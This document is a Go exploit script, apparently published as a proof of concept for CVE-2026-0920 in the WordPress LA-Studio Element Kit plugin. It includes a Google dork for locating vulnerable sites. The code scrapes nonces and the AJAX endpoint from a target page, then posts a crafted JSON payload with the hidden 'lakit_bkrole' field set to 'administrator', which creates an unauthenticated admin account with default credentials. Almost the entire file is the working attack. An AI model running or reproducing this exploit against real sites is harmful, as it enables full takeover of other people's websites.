package main /* # Exploit Title: WordPress Plugin LA-Studio Element Kit <= 1.5.6.3 - Unauthenticated Admin Account Creation # Google Dork: inurl:"/wp-content/plugins/lastudio-element-kit" # Date: 2026-01-22 # Exploit Author: Meysam Bal-afkan # Vendor Homepage: https://wordpress.org/plugins/lastudio-element-kit/ # Software Link: https://downloads.wordpress.org/plugin/lastudio-element-kit.1.5.6.3.zip # Version: <= 1.5.6.3 # Tested on: Linux / Windows # CVE: CVE-2026-0920 # # Description: # The plugin contains a critical backdoor vulnerability within the 'ajax_register_handle' function. # Unauthenticated attackers can exploit the 'lakit_ajax' wrapper by injecting a JSON payload # containing the hidden parameter 'lakit_bkrole' set to 'administrator'. This bypasses standard # registration checks and creates a new administrative user, leading to full site takeover. */ import ( "crypto/tls" "encoding/json" "flag" "fmt" "io" "net/http" "net/url" "os" "regexp" "runtime" "strings" "time" ) var ( ColorReset = "\033[0m" ColorRed = "\033[31m" ColorGreen = "\033[32m" ColorYellow = "\033[33m" ColorBlue = "\033[34m" ) type Config struct { TargetURL string Username string Email string Password string } type RegisterData struct { Username string `json:"username"` Email string `json:"email"` Password string `json:"password"` PasswordConfirm string `json:"password-confirm"` LakitConfirm string `json:"lakit_confirm_password"` RegisterNonce string `json:"lakit-register-nonce"` Redirect string `json:"lakit_redirect"` FieldLog string `json:"lakit_field_log"` FieldPwd string `json:"lakit_field_pwd"` FieldCPwd string `json:"lakit_field_cpwd"` BackdoorRole string `json:"lakit_bkrole"` } type RegisterAction struct { Action string `json:"action"` Data RegisterData `json:"data"` } type ActionsPayload struct { Register RegisterAction `json:"register"` } func init() { if runtime.GOOS == "windows" { ColorReset = "" ColorRed = "" ColorGreen = "" ColorYellow = "" ColorBlue = "" } } func printBanner() { fmt.Println(` ____ __ _ __ __ / __ \________ ____ _____/ / / | / /__ / /_ / / / / ___/ _ \/ __ / __ / / |/ / _ \/ __/ / /_/ / / / __/ /_/ / /_/ / / /| / __/ /_ /_____/_/ \___/\__,_/\__,_/ /_/ |_/\___/\__/ `) fmt.Println("") fmt.Println("Telegram: t.me/Dread_Net") fmt.Println("") fmt.Println(ColorRed + ` CVE-2026-0920 Exploit | LA-Studio Element Kit Backdoor Author: Meysam Bal-afkan ` + ColorReset) } func main() { printBanner() // Parse Flags target := flag.String("u", "", "Target Page URL (e.g., http://localhost/vuln-site/register)") username := flag.String("user", "hacker", "Username to create") email := flag.String("email", "hacker@exploit.local", "Email to create") password := flag.String("pass", "P@ssw0rd123!", "Password to set") manualNonce := flag.String("nonce", "", "Manual Global Nonce") regNonce := flag.String("rnonce", "", "Manual Register Nonce") flag.Parse() if *target == "" { fmt.Println(ColorRed + "[!] Target URL is required. Use -u " + ColorReset) return } config := Config{ TargetURL: *target, Username: *username, Email: *email, Password: *password, } client := createClient(15 * time.Second) // Step 1: Recon & Scrape Nonces AND Ajax URL fmt.Printf(ColorBlue+"[*] Scanning %s for data...\n"+ColorReset, config.TargetURL) globalNonce := *manualNonce registerNonce := *regNonce scrapedAjaxURL := "" // Always scrape to find the correct Ajax URL, even if nonces are provided scrapedGlobal, scrapedReg, foundAjax, err := scrapePageData(client, config.TargetURL) if err != nil { fmt.Printf(ColorYellow+"[!] Warning: Scrape failed: %v\n"+ColorReset, err) } else { if globalNonce == "" { globalNonce = scrapedGlobal } if registerNonce == "" { registerNonce = scrapedReg } scrapedAjaxURL = foundAjax } // CHECK 1: NONCES if globalNonce == "" || registerNonce == "" { fmt.Println(ColorRed + "[-] CRITICAL: Failed to obtain necessary nonces." + ColorReset) fmt.Println(ColorRed + "[-] Provide nonces manually using -nonce and -rnonce." + ColorReset) return } // CHECK 2: TARGET AJAX URL finalAjaxURL := "" if scrapedAjaxURL != "" { if strings.HasPrefix(scrapedAjaxURL, "http") { finalAjaxURL = scrapedAjaxURL } else { // Handle relative URL (e.g. /wp-admin/admin-ajax.php) parsedTarget, _ := url.Parse(config.TargetURL) finalAjaxURL = fmt.Sprintf("%s://%s%s", parsedTarget.Scheme, parsedTarget.Host, scrapedAjaxURL) } fmt.Printf(ColorGreen+"[+] Auto-detected Ajax URL: %s\n"+ColorReset, finalAjaxURL) } else { u, _ := url.Parse(config.TargetURL) finalAjaxURL = fmt.Sprintf("%s://%s/wp-admin/admin-ajax.php", u.Scheme, u.Host) if strings.Contains(u.Path, "/vuln-site/") { finalAjaxURL = fmt.Sprintf("%s://%s/vuln-site/wp-admin/admin-ajax.php", u.Scheme, u.Host) } fmt.Printf(ColorYellow+"[!] Warning: Could not find Ajax URL in source. Guessing: %s\n"+ColorReset, finalAjaxURL) } fmt.Printf(ColorGreen+"[+] Global Nonce: %s\n"+ColorReset, globalNonce) fmt.Printf(ColorGreen+"[+] Register Nonce: %s\n"+ColorReset, registerNonce) // Step 2: Prepare Payload fmt.Println(ColorBlue + "[*] Constructing malicious JSON..." + ColorReset) payloadStruct := ActionsPayload{ Register: RegisterAction{ Action: "register", Data: RegisterData{ Username: config.Username, Email: config.Email, Password: config.Password, PasswordConfirm: config.Password, LakitConfirm: "true", RegisterNonce: registerNonce, Redirect: config.TargetURL, FieldLog: "no", FieldPwd: "yes", FieldCPwd: "yes", BackdoorRole: "administrator", }, }, } jsonBytes, err := json.Marshal(payloadStruct) if err != nil { fmt.Printf(ColorRed+"[!] JSON Error: %v\n"+ColorReset, err) return } data := url.Values{} data.Set("action", "lakit_ajax") data.Set("_nonce", globalNonce) data.Set("actions", string(jsonBytes)) // Step 3: Send Exploit fmt.Printf(ColorBlue+"[*] Sending payload to: %s\n"+ColorReset, finalAjaxURL) req, _ := http.NewRequest("POST", finalAjaxURL, strings.NewReader(data.Encode())) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) CVE-2026-0920-Exploit") resp, err := client.Do(req) if err != nil { if os.IsTimeout(err) { fmt.Println(ColorRed + "\n[-] Error: Request timed out." + ColorReset) } else { fmt.Printf(ColorRed+"\n[!] Connection Error: %v\n"+ColorReset, err) } return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) respStr := string(body) // Step 4: Verify Success if resp.StatusCode == 200 && (strings.Contains(respStr, `"success":true`) || strings.Contains(respStr, `"type":"success"`)) { fmt.Println(ColorGreen + "\n[+] BOOM! Admin account created successfully!" + ColorReset) fmt.Printf(ColorGreen+" Email: %s\n"+ColorReset, config.Email) fmt.Printf(ColorGreen+" User: %s\n"+ColorReset, config.Username) fmt.Printf(ColorGreen+" Pass: %s\n"+ColorReset, config.Password) } else { fmt.Println(ColorRed + "\n[-] Exploit failed." + ColorReset) // Print only first 300 chars of response to avoid flooding screen with HTML if len(respStr) > 300 { fmt.Printf(" Response (Truncated): %s...\n", respStr[:300]) } else { fmt.Printf(" Response: %s\n", respStr) } } } // scrapePageData finds nonces AND the correct ajaxurl from the HTML func scrapePageData(client *http.Client, target string) (string, string, string, error) { req, _ := http.NewRequest("GET", target, nil) req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") resp, err := client.Do(req) if err != nil { return "", "", "", err } defer resp.Body.Close() bodyBytes, _ := io.ReadAll(resp.Body) body := string(bodyBytes) // 1. Scrape Global Nonce globalNonce := "" reGlobal := regexp.MustCompile(`"ajaxNonce":"([a-zA-Z0-9]+)"`) matchGlobal := reGlobal.FindStringSubmatch(body) if len(matchGlobal) > 1 { globalNonce = matchGlobal[1] } // 2. Scrape Register Nonce registerNonce := "" reSpecific := regexp.MustCompile(`"lakit-register-nonce":"([a-zA-Z0-9]+)"`) matchSpecific := reSpecific.FindStringSubmatch(body) if len(matchSpecific) > 1 { registerNonce = matchSpecific[1] } else { reLakit := regexp.MustCompile(`lakitSubscribeConfig\s*=\s*{[^}]*"nonce":"([a-zA-Z0-9]+)"`) matchLakit := reLakit.FindStringSubmatch(body) if len(matchLakit) > 1 { registerNonce = matchLakit[1] } } if registerNonce == "" && globalNonce != "" { registerNonce = globalNonce } // 3. Scrape Ajax URL (Crucial Fix!) // Looks for "ajaxUrl":"..." or "ajax_url":"..." ajaxURL := "" reAjax := regexp.MustCompile(`"(?:ajaxUrl|ajax_url)":"([^"]+)"`) matchAjax := reAjax.FindStringSubmatch(body) if len(matchAjax) > 1 { // Fix encoded slashes if present (e.g. \/) ajaxURL = strings.ReplaceAll(matchAjax[1], `\/`, `/`) } return globalNonce, registerNonce, ajaxURL, nil } func createClient(timeout time.Duration) *http.Client { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } return &http.Client{ Transport: tr, Timeout: timeout, } }